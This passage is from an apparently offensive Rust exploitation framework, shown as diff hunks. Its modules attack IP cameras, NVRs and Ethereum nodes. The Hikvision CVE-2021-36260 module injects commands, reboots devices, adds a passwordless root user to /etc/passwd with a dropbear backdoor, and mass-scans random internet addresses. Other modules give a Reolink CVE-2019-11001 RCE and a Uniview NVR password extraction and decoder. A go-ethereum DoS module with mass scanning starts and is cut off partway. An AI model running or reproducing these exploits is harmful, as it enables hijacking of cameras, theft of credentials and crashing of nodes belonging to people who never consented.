let (auth, path) = match after.find('/') {
Some(i) => (&after[..i], &after[i..]),
None => (after, ""),
};
let (host_part, port_part) = if auth.starts_with('[') {
if let Some(pos) = auth.rfind(']') {
(&auth[..=pos], &auth[pos + 1..])
} else {
(auth, "")
}
} else if auth.matches(':').count() > 1 {
(auth, "") // IPv6 without brackets
} else if let Some(pos) = auth.rfind(':') {
(&auth[..pos], &auth[pos..])
} else {
(auth, "")
};
let mut inner = host_part;
while inner.starts_with('[') && inner.ends_with(']') {
inner = &inner[1..inner.len() - 1];
}
let wrapped = if inner.contains(':') {
format!("[{}]", inner)
} else {
inner.to_string()
};
format!("{}{}{}{}", scheme, wrapped, port_part, path)
}
/// HTTP client wrapper for Hikvision exploitation
struct HikvisionClient {
client: Client,
base_url: String,
}
impl HikvisionClient {
fn new(target: &str, proto: &str, timeout: u64) -> Result<Self> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(timeout))
.build()
.context("Failed to build HTTP client")?;
let base_url = format!("{}://{}", proto, target);
let base_url = normalize_target(&base_url);
Ok(Self { client, base_url })
}
/// Send PUT request with command injection payload
async fn send_payload(&self, command: &str, timeout: u64) -> Result<reqwest::Response> {
if command.len() > MAX_CMD_LENGTH {
return Err(anyhow!(
"Command '{}' is too long ({} chars, max {})",
command,
command.len(),
MAX_CMD_LENGTH
));
}
let payload = format!(
"<?xml version=\"1.0\" encoding=\"UTF-8\"?><language>$({})</language>",
command
);
self.client
.put(format!("{}/SDK/webLanguage", self.base_url))
.header("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
.header("X-Requested-With", "XMLHttpRequest")
.body(payload)
.timeout(Duration::from_secs(timeout))
.send()
.await
.context("Failed to send payload")
}
/// Send GET request
async fn get(&self, path: &str, timeout: u64) -> Result<reqwest::Response> {
self.client
.get(format!("{}{}", self.base_url, path))
.timeout(Duration::from_secs(timeout))
.send()
.await
.context("Failed to send GET request")
}
}
async fn check_vulnerable(client: &HikvisionClient, noverify: bool) -> Result<bool> {
if noverify {
return Ok(true);
}
// First check if we can connect
match client.get("/", 5).await {
Ok(_) => {},
Err(_) => return Ok(false),
}
// Try to write a test file
match client.send_payload(">webLib/c", 5).await {
Ok(resp) => {
if resp.status().as_u16() == 404 { return Ok(false); }
// Try to read the file we created
match client.get("/c", 5).await {
Ok(read_resp) => {
if read_resp.status().as_u16() == 200 { return Ok(true); }
Ok(false)
}
Err(_) => Ok(false),
}
}
Err(_) => Ok(false),
}
}
async fn check_with_reboot(client: &HikvisionClient) -> Result<bool> {
let _ = client.send_payload("reboot", 5).await;
tokio::time::sleep(Duration::from_secs(2)).await;
match client.get("/", 5).await {
Ok(_) => Ok(false), // Still responding
Err(_) => Ok(true), // Device went down/rebooted
}
}
async fn execute_cmd(client: &HikvisionClient, command: &str) -> Result<String> {
let write_cmd = format!("{}>webLib/x", command);
if write_cmd.len() > MAX_CMD_LENGTH {
return Err(anyhow!("Command too long"));
}
client.send_payload(&write_cmd, 10).await?;
let resp = client.get("/x", 10).await?;
if resp.status().as_u16() != 200 {
return Err(anyhow!("Failed to retrieve command output"));
}
match resp.text().await {
Ok(text) => Ok(text),
Err(e) => Err(anyhow!("Failed to read command output: {}", e)),
}
}
async fn execute_blind_cmd(client: &HikvisionClient, command: &str) -> Result<()> {
match client.send_payload(command, 10).await {
Ok(resp) => {
if resp.status().as_u16() == 500 { Ok(()) } else { Err(anyhow!("Unexpected code")) }
}
Err(e) => Err(anyhow!("Failed: {}", e)),
}
}
async fn interactive_shell(client: &HikvisionClient) -> Result<()> {
println!("{}", "[*] Preparing shell access...".cyan());
match client.get("/N", 5).await {
Ok(resp) => {
if resp.status().as_u16() == 404 {
client.send_payload("echo -n P::0:0:W>N", 10).await?;
client.send_payload("echo :/:/bin/sh>>N", 10).await?;
client.send_payload("cat N>>/etc/passwd", 10).await?;
client.send_payload("dropbear -R -B -p 1337", 10).await?;
client.send_payload("cat N>webLib/N", 10).await?;
println!("{}", "[+] Dropbear SSH started on port 1337".green());
}
}
Err(_) => return Err(anyhow!("Failed to check shell status")),
}
println!("{}", "[*] SSH connection ready".cyan());
Ok(())
}
async fn interactive_mode(client: &HikvisionClient) -> Result<()> {
println!("{}", "\n[*] Entering interactive command mode".cyan());
loop {
print!("{}", "hikvision> ".green().bold());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let cmd = input.trim();
if cmd.is_empty() { continue; }
if cmd == "exit" || cmd == "quit" { break; }
match execute_cmd(client, cmd).await {
Ok(output) => println!("{}", output),
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
}
}
Ok(())
}
/// Quick vulnerability check for mass scanning
async fn quick_check(ip: &str, mode: ScanMode, custom_payload: &str) -> bool {
let host_port = format!("{}:{}", ip, MASS_SCAN_PORT);
if let Ok(client) = HikvisionClient::new(&host_port, "http", 5) {
match mode {
ScanMode::SafeCheck => {
check_vulnerable(&client, false).await.unwrap_or(false)
},
ScanMode::UnsafeReboot => {
check_with_reboot(&client).await.unwrap_or(false)
},
ScanMode::CustomCommand => {
// Just execute validation blind command
match client.send_payload(custom_payload, 5).await {
Ok(resp) => resp.status().as_u16() == 200 || resp.status().as_u16() == 500,
Err(_) => false,
}
}
}
} else {
false
}
}
/// Mass scan mode
async fn run_mass_scan() -> Result<()> {
display_banner();
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
io::stdout().flush()?;
let mut excl_choice = String::new();
io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
// Prompt for Output File
print!("{}", "[?] Output File (default: hikvision_hits.txt): ".cyan());
io::stdout().flush()?;
let mut outfile = String::new();
io::stdin().read_line(&mut outfile)?;
let outfile = outfile.trim();
let outfile = if outfile.is_empty() { "hikvision_hits.txt" } else { outfile };
let outfile = outfile.to_string();
// Prompt for Payload Mode
println!("{}", "[?] Select Payload Mode:".cyan());
println!(" 1. Safe Check (File Write/Read)");
println!(" 2. Unsafe Check (Reboot Device)");
println!(" 3. Custom Command");
print!("{}", "Select option [1-3] (default 1): ".cyan());
io::stdout().flush()?;
let mut mode_str = String::new();
io::stdin().read_line(&mut mode_str)?;
let mode = match mode_str.trim() {
"2" => ScanMode::UnsafeReboot,
"3" => ScanMode::CustomCommand,
_ => ScanMode::SafeCheck,
};
let mut custom_payload = String::new();
if let ScanMode::CustomCommand = mode {
print!("{}", "[?] Enter Custom Command (max 22 chars): ".cyan());
io::stdout().flush()?;
io::stdin().read_line(&mut custom_payload)?;
custom_payload = custom_payload.trim().to_string();
}
let custom_payload = Arc::new(custom_payload);
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
// Result writer channel
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
// Writer task
let outfile_clone = outfile.clone();
tokio::spawn(async move {
let file_result = OpenOptions::new()
.create(true)
.append(true)
.open(&outfile_clone)
.await;
let mut file = match file_result {
Ok(f) => f,
Err(e) => {
eprintln!("[-] Failed to open output file: {}", e);
return;
}
};
while let Some(result) = rx.recv().await {
if let Err(e) = file.write_all(result.as_bytes()).await {
eprintln!("[-] Failed to write result: {}", e);
}
}
});
let c = checked.clone();
let f = found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(10)).await;
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
}
});
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let chk = checked.clone();
let fnd = found.clone();
let tx = tx.clone();
let cp = custom_payload.clone();
let current_mode = mode; // Copy
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
let ip_str = ip.to_string();
if quick_check(&ip_str, current_mode, &cp).await {
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
fnd.fetch_add(1, Ordering::Relaxed);
let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
let log_entry = format!("{} - {}\n", ip_str, timestamp);
let _ = tx.send(log_entry);
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
}
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Parse target to extract host:port and protocol
let (proto, host_port) = if target.starts_with("https://") {
("https", target.strip_prefix("https://").unwrap_or(target))
} else if target.starts_with("http://") {
("http", target.strip_prefix("http://").unwrap_or(target))
} else {
("http", target)
};
let host_port = host_port.split('/').next().unwrap_or(host_port);
println!("{}", "[*] Select operation mode:".cyan());
println!(" {} Check if vulnerable (safe)", "1.".bold());
println!(" {} Check with reboot (unsafe)", "2.".bold());
println!(" {} Execute single command", "3.".bold());
println!(" {} Execute blind command", "4.".bold());
println!(" {} Interactive shell mode", "5.".bold());
println!(" {} Setup SSH shell (dropbear)", "6.".bold());
println!();
print!("{}", "Select option [1-6]: ".green());
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
let choice = choice.trim();
let client = HikvisionClient::new(host_port, proto, DEFAULT_TIMEOUT_SECS)?;
match choice {
"1" => { check_vulnerable(&client, false).await?; }
"2" => {
println!();
print!("{}", "[!] This will reboot the device. Continue? [y/N]: ".red());
io::stdout().flush()?;
let mut confirm = String::new();
io::stdin().read_line(&mut confirm)?;
if confirm.trim().eq_ignore_ascii_case("y") {
check_with_reboot(&client).await?;
} else {
println!("{}", "[*] Aborted".yellow());
}
}
"3" => {
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
println!();
print!("{}", "Enter command to execute: ".green());
io::stdout().flush()?;
let mut cmd = String::new();
io::stdin().read_line(&mut cmd)?;
let cmd = cmd.trim();
if !cmd.is_empty() {
match execute_cmd(&client, cmd).await {
Ok(output) => {
println!("{}", "\n[+] Command output:".green());
println!("{}", output);
}
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
}
}
}
"4" => {
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
println!();
print!("{}", "Enter blind command to execute: ".green());
io::stdout().flush()?;
let mut cmd = String::new();
io::stdin().read_line(&mut cmd)?;
let cmd = cmd.trim();
if !cmd.is_empty() { execute_blind_cmd(&client, cmd).await?; }
}
"5" => {
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
interactive_mode(&client).await?;
}
"6" => {
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
interactive_shell(&client).await?;
}
_ => println!("{}", "[-] Invalid option".red()),
}
println!();
println!("{}", "[*] Exploitation complete".cyan());
Ok(())
}
}
@@ -0,0 +1 @@
pub mod hikvision_rce_cve_2021_36260;
+6
View File
@@ -0,0 +1,6 @@
pub mod hikvision;
pub mod reolink;
pub mod uniview;
pub mod avtech;
pub mod abus;
pub mod acti;
@@ -0,0 +1 @@
pub mod reolink_rce_cve_2019_11001;
@@ -0,0 +1,98 @@
use anyhow::{Result, Context};
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target, prompt_default};
use urlencoding::encode;
/// Reolink Camera Authenticated Command Injection (CVE-2019-11001)
///
/// Exploits an authenticated OS command injection in the `TestEmail` functionality.
/// Affected Models: RLC-410W, C1 Pro, C2 Pro, RLC-422W, RLC-511W (Firmware <= 1.0.227).
///
/// Parameter: `addr1` in `TestEmail` command.
pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_ip = if target.is_empty() {
prompt_required("Target IP")?
} else {
target.to_string()
};
let target_ip = normalize_target(&raw_ip)?;
// Default HTTP/HTTPS?
// Usually HTTP port 80 or HTTPS 443. We will default to HTTP but can try HTTPS if needed.
// Let's assume HTTP validation (can be simple URL).
let base_url = if target_ip.contains("://") {
target_ip.clone()
} else {
format!("http://{}", target_ip)
};
println!("{} Target: {}", "[*]".blue(), base_url);
// Credentials required
let username = prompt_default("Username", "admin")?;
let password = prompt_required("Password")?;
let cmd = prompt_default("Command to execute", "id")?;
println!("{} Sending exploit...", "[*]".blue());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(15))
.build()?;
// Construct payload
// Command Injection style: test@test.com; <CMD>
let injection = format!("test@test.com; {}", cmd);
// The API requires specific structure. Based on PoC analysis.
// Usually sent as GET or POST. The PoC uses a GET with JSON-like structure in URL or POST body?
// Public docs say: /api.cgi?cmd=TestEmail...
// But Reolink API often takes a JSON body.
// Let's model after the known exploit path:
// Some versions accept it in the JSON body of a POST to /api.cgi
let url = format!("{}/api.cgi?cmd=TestEmail&user={}&password={}", base_url.trim_end_matches('/'), encode(&username), encode(&password));
// The body usually is a JSON array
let body = format!("[{{ \"cmd\": \"TestEmail\", \"action\": 0, \"param\": {{ \"addr1\": \"{}\", \"addr2\": \"test\", \"addr3\": \"test\", \"interval\": 60 }} }}]", injection);
// Some variants use GET but typically these APIs are POST with JSON.
// We will try POST.
let res = client.post(&url)
.header("Content-Type", "application/json")
.body(body)
.send()
.await
.context("Failed to send request")?;
let status = res.status();
let text = res.text().await?;
// If successful, the command output might not be returned (Blind RCE).
// Or it might be returned in the 'value' or error message?
// Usually TestEmail triggers the mail binary.
if status.is_success() {
println!("{} Request sent successfully (HTTP {}).", "[+]".green(), status);
println!("{} Response: {}", "[*]".blue(), text);
println!("{} Note: This RCE is often blind. Check your listener or device behavior.", "[*]".yellow());
} else {
println!("{} Request failed (HTTP {}). check credentials or target.", "[-]".red(), status);
}
Ok(())
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Reolink Camera Authenticated RCE (CVE-2019-11001) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
@@ -0,0 +1 @@
pub mod uniview_nvr_pwd_disclosure;
@@ -0,0 +1,215 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use quick_xml::events::Event;
use quick_xml::name::QName;
use quick_xml::Reader;
use reqwest::Client;
use std::collections::HashMap;
use std::fs::OpenOptions;
use std::io::Write;
use std::time::Duration;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Uniview NVR Remote Password Disclosure ║".cyan());
println!("{}", "║ Extracts and decodes user credentials from NVR ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Reverses the Uniview custom encoded password
fn decode_pass(encoded: &str) -> String {
let map: HashMap<&str, &str> = [
("77","1"), ("78","2"), ("79","3"), ("72","4"), ("73","5"), ("74","6"),
("75","7"), ("68","8"), ("69","9"), ("76","0"), ("93","!"), ("60","@"),
("95","#"), ("88","$"), ("89","%"), ("34","^"), ("90","&"), ("86","*"),
("84","("), ("85",")"), ("81","-"), ("35","_"), ("65","="), ("87","+"),
("83","/"), ("32","\\"), ("0","|"), ("80",","), ("70",":"), ("71",";"),
("7","{"), ("1","}"), ("82","."), ("67","?"), ("64","<"), ("66",">"),
("2","~"), ("39","["), ("33","]"), ("94","\""), ("91","'"), ("28","`"),
("61","A"), ("62","B"), ("63","C"), ("56","D"), ("57","E"), ("58","F"),
("59","G"), ("52","H"), ("53","I"), ("54","J"), ("55","K"), ("48","L"),
("49","M"), ("50","N"), ("51","O"), ("44","P"), ("45","Q"), ("46","R"),
("47","S"), ("40","T"), ("41","U"), ("42","V"), ("43","W"), ("36","X"),
("37","Y"), ("38","Z"), ("29","a"), ("30","b"), ("31","c"), ("24","d"),
("25","e"), ("26","f"), ("27","g"), ("20","h"), ("21","i"), ("22","j"),
("23","k"), ("16","l"), ("17","m"), ("18","n"), ("19","o"), ("12","p"),
("13","q"), ("14","r"), ("15","s"), ("8","t"), ("9","u"), ("10","v"),
("11","w"), ("4","x"), ("5","y"), ("6","z"),
]
.iter()
.cloned()
.collect();
encoded
.split(';')
.filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
.collect()
}
/// Strip any number of nested brackets and re-wrap once if IPv6
fn normalize_target(raw: &str) -> String {
// Preserve or default to http://
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
("http://", s)
} else if let Some(s) = raw.strip_prefix("https://") {
("https://", s)
} else {
("http://", raw)
};
// Split authority vs path
let (auth, path) = match after.find('/') {
Some(i) => (&after[..i], &after[i..]),
None => (after, ""),
};
// Separate host_part and port_part
let (host_part, port_part) = if auth.starts_with('[') {
if let Some(pos) = auth.rfind(']') {
(&auth[..=pos], &auth[pos + 1..])
} else {
(auth, "")
}
} else if auth.matches(':').count() > 1 {
// IPv6 without brackets
(auth, "")
} else if let Some(pos) = auth.rfind(':') {
// IPv4 or hostname with port
(&auth[..pos], &auth[pos..])
} else {
(auth, "")
};
// Peel away *all* outer brackets
let mut inner = host_part;
while inner.starts_with('[') && inner.ends_with(']') {
inner = &inner[1..inner.len() - 1];
}
// If it looks like IPv6, re-wrap exactly once
let wrapped = if inner.contains(':') {
format!("[{}]", inner)
} else {
inner.to_string()
};
format!("{}{}{}{}", scheme, wrapped, port_part, path)
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Normalize URL (scheme, IPv6 brackets, port, path)
// Note: This module uses custom URL normalization to preserve scheme and path
// Framework's normalize_target is for host:port only, so we keep custom implementation
let target = normalize_target(target);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()
.context("Failed to build HTTP client")?;
// Fetch version info
println!("{}", "[*] Getting model name and software version...".cyan());
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
let version_text = client
.get(&version_url)
.send().await?
.text().await
.context("Failed to fetch version")?;
let model = version_text
.split("szDevName\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
let sw_ver = version_text
.split("szSoftwareVersion\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
println!("{}", format!("[+] Model: {}", model).green());
println!("{}", format!("[+] Software Version: {}", sw_ver).green());
// Prepare log file
let mut log = OpenOptions::new()
.create(true)
.append(true)
.open("nvr-success.txt")
.context("Unable to open nvr-success.txt")?;
writeln!(log, "\n==== Uniview NVR ====").ok();
writeln!(log, "Target: {}", target).ok();
writeln!(log, "Model: {}", model).ok();
writeln!(log, "Software Version: {}", sw_ver).ok();
// Fetch user config
println!("{}", "\n[*] Getting configuration file...".cyan());
let config_url = format!(
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
target
);
let config_text = client
.get(&config_url)
.send().await?
.text().await
.context("Failed to fetch config")?;
// XML reader with trimmed text
let mut reader = Reader::from_str(&config_text);
reader.config_mut().trim_text(true);
let mut buf = Vec::new();
let mut total_users = 0;
println!();
println!("{}", "User | Stored Hash | Reversible Password".cyan().bold());
println!("{}", "_".repeat(80));
writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
writeln!(log, "{}", "_".repeat(80)).ok();
loop {
match reader.read_event_into(&mut buf) {
Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
let mut username = String::new();
let mut user_hash = String::new();
let mut revpass = String::new();
for attr in e.attributes().flatten() {
match attr.key {
k if k == QName(b"UserName") => username = std::str::from_utf8(&attr.value)?.to_string(),
k if k == QName(b"UserPass") => user_hash = std::str::from_utf8(&attr.value)?.to_string(),
k if k == QName(b"RvsblePass") => revpass = std::str::from_utf8(&attr.value)?.to_string(),
_ => {}
}
}
let decoded = decode_pass(&revpass);
println!("{}", format!("{:<9}| {:<38}| {}", username, user_hash, decoded).green());
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
total_users += 1;
}
Ok(Event::Eof) => break,
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
_ => {}
}
buf.clear();
}
println!();
println!("{}", format!("[+] Total users found: {}", total_users).green().bold());
writeln!(log, "\n[+] Total users: {}", total_users).ok();
println!("{}", "[*] Results saved to nvr-success.txt".cyan());
println!("{}", "[!] Note: 'default' and 'HAUser' users may not be accessible remotely.".yellow());
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
Ok(())
}
@@ -0,0 +1,848 @@
//! CVE-2026-22862: go-ethereum (geth) DoS via ECIES Malformed Ciphertext
//!
//! ## Vulnerability Details
//! CVE-2026-22862 is a Denial of Service vulnerability in go-ethereum (geth)
//! that allows attackers to crash vulnerable nodes by sending specially crafted
//! ECIES encrypted messages with malformed ciphertext.
//!
//! - **CVSS Score**: 7.5 (High)
//! - **CWE-ID**: CWE-20 (Improper Input Validation)
//! - **Affected**: go-ethereum < 1.16.8
//! - **Impact**: Node crash/shutdown, blockchain network disruption
//!
//! ## Technical Details
//! The vulnerability exploits improper validation during ECIES decryption.
//! By crafting a ciphertext with:
//! 1. Valid ephemeral public key (65 bytes)
//! 2. Encrypted message shorter than AES block size (< 16 bytes)
//! 3. Valid HMAC-SHA256 MAC computed with shared secret
//!
//! The victim node decrypts and panics due to insufficient IV length.
//!
//! ## Features
//! - Geth node detection and version fingerprinting
//! - Single target and mass scan modes
//! - RLPx P2P protocol implementation
//! - Configurable attack payloads
//!
//! Reference: https://github.com/qzhodl/CVE-2026-22862
use anyhow::{Context, Result, bail};
use colored::*;
use rand::Rng;
use std::fs::File;
use std::io::{BufRead, BufReader, Write};
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::Arc;
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::{Semaphore, mpsc};
use tokio::time::timeout;
const DEFAULT_P2P_PORT: u16 = 30303;
const DEFAULT_RPC_PORT: u16 = 8545;
const CONNECT_TIMEOUT_SECS: u64 = 5;
const MAX_CONCURRENT_SCANS: usize = 50;
// Bogon/Private/Reserved exclusion ranges (same as telnet module)
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
];
/// Generate a random public IP address excluding reserved ranges
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip_addr;
}
}
}
/// Geth node information
#[derive(Debug, Clone)]
struct GethNodeInfo {
version: Option<String>,
network_id: Option<u64>,
vulnerable: bool,
}
impl Default for GethNodeInfo {
fn default() -> Self {
Self {
version: None,
network_id: None,
vulnerable: false,
}
}
}
/// Exploit configuration
struct ExploitConfig {
target: String,
p2p_port: u16,
rpc_port: u16,
mass_scan: bool,
targets_file: Option<String>,
check_only: bool,
exploit_type: ExploitType,
}
#[derive(Debug, Clone, Copy, PartialEq)]
enum ExploitType {
EciesMalformed,
RlpxHandshake,
Both,
}
impl Default for ExploitConfig {
fn default() -> Self {
Self {
target: String::new(),
p2p_port: DEFAULT_P2P_PORT,
rpc_port: DEFAULT_RPC_PORT,
mass_scan: false,
targets_file: None,
check_only: true,
exploit_type: ExploitType::EciesMalformed,
}
}
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ CVE-2026-22862: go-ethereum (geth) Remote DoS ║".cyan());
println!("{}", "║ ECIES Malformed Ciphertext Node Crash ║".cyan());
println!("{}", "║ Affects geth < 1.16.8 | Critical Network Impact ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
}
/// Get user configuration
fn get_user_config(target: &str) -> Result<ExploitConfig> {
let mut config = ExploitConfig::default();
println!();
println!("{}", "=== CVE-2026-22862 Configuration ===".yellow().bold());
println!();
// Mass scan mode check
print!("{}", "Enable mass scan mode? [y/N]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
config.mass_scan = true;
print!("{}", "Enter targets file path: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let file_path = input.trim().to_string();
if file_path.is_empty() || !std::path::Path::new(&file_path).exists() {
bail!("Targets file not found or empty path");
}
config.targets_file = Some(file_path);
} else {
// Single target mode
config.target = if target.is_empty() {
print!("{}", "Enter target IP/hostname: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let t = input.trim().to_string();
if t.is_empty() {
bail!("Target is required");
}
t
} else {
target.to_string()
};
}
// Port configuration
print!("{}", format!("Enter P2P port [default: {}]: ", DEFAULT_P2P_PORT).green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if let Ok(p) = input.trim().parse::<u16>() {
if p > 0 {
config.p2p_port = p;
}
}
print!("{}", format!("Enter RPC port for version check [default: {}]: ", DEFAULT_RPC_PORT).green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if let Ok(p) = input.trim().parse::<u16>() {
if p > 0 {
config.rpc_port = p;
}
}
// Attack mode
println!();
println!("{}", "Select operation mode:".cyan());
println!(" 1. Check vulnerability only (safe)");
println!(" 2. Exploit - ECIES malformed ciphertext");
println!(" 3. Exploit - RLPx handshake attack");
println!(" 4. Exploit - Both methods");
print!("{}", "Select mode [1-4, default: 1]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
match input.trim() {
"2" => {
config.check_only = false;
config.exploit_type = ExploitType::EciesMalformed;
}
"3" => {
config.check_only = false;
config.exploit_type = ExploitType::RlpxHandshake;
}
"4" => {
config.check_only = false;
config.exploit_type = ExploitType::Both;
}
_ => {
config.check_only = true;
}
}
// Display configuration summary
println!();
println!("{}", "Configuration Summary:".cyan().bold());
if config.mass_scan {
println!(" Mode: Mass Scan");
if let Some(ref f) = config.targets_file {
println!(" Targets File: {}", f);
}
} else {
println!(" Target: {}", config.target);
}
println!(" P2P Port: {}", config.p2p_port);
println!(" RPC Port: {}", config.rpc_port);
println!(" Operation: {}", if config.check_only { "Check Only" } else { "Exploit" });
if !config.check_only {
println!(" Exploit Type: {:?}", config.exploit_type);
}
println!();
Ok(config)
}
/// Check if target is running geth via JSON-RPC
async fn check_geth_version(target: &str, port: u16) -> Result<GethNodeInfo> {
let mut info = GethNodeInfo::default();
// Try JSON-RPC web3_clientVersion
let client = reqwest::Client::builder()
.timeout(Duration::from_secs(CONNECT_TIMEOUT_SECS))
.build()
.context("Failed to build HTTP client")?;
let url = format!("http://{}:{}", target, port);
let payload = serde_json::json!({
"jsonrpc": "2.0",
"method": "web3_clientVersion",
"params": [],
"id": 1
});
let response = client
.post(&url)
.header("Content-Type", "application/json")
.json(&payload)
.send()
.await;
if let Ok(resp) = response {
if let Ok(json) = resp.json::<serde_json::Value>().await {
if let Some(result) = json.get("result").and_then(|r| r.as_str()) {
info.version = Some(result.to_string());
// Check if vulnerable (< 1.16.8)
if result.contains("Geth/") {
if let Some(version_start) = result.find("Geth/v") {
let version_part = &result[version_start + 6..];
if let Some(dash_pos) = version_part.find('-') {
let version_num = &version_part[..dash_pos];
let parts: Vec<&str> = version_num.split('.').collect();
// FIX: Handle parse errors properly instead of defaulting to 0
if parts.len() >= 3 {
if let (Ok(major), Ok(minor), Ok(patch)) = (
parts[0].parse::<u32>(),
parts[1].parse::<u32>(),
parts[2].parse::<u32>()
) {
// Vulnerable if < 1.16.8
if major < 1 || (major == 1 && minor < 16) ||
(major == 1 && minor == 16 && patch < 8) {
info.vulnerable = true;
}
}
}
}
}
}
}
}
}
// Also try to get network ID
let net_payload = serde_json::json!({
"jsonrpc": "2.0",
"method": "net_version",
"params": [],
"id": 2
});
if let Ok(resp) = client.post(&url).json(&net_payload).send().await {
if let Ok(json) = resp.json::<serde_json::Value>().await {
if let Some(result) = json.get("result").and_then(|r| r.as_str()) {
info.network_id = result.parse().ok();
}
}
}
Ok(info)
}
/// Check if P2P port is open and responds to RLPx
async fn check_p2p_port(target: &str, port: u16) -> Result<bool> {
let addr = format!("{}:{}", target, port);
let socket_addr: SocketAddr = match addr.parse() {
Ok(a) => a,
Err(_) => {
// Try to resolve hostname
match tokio::net::lookup_host(&addr).await {
Ok(mut addrs) => match addrs.next() {
Some(a) => a,
// FIX: Return error instead of Ok(false) for empty resolution
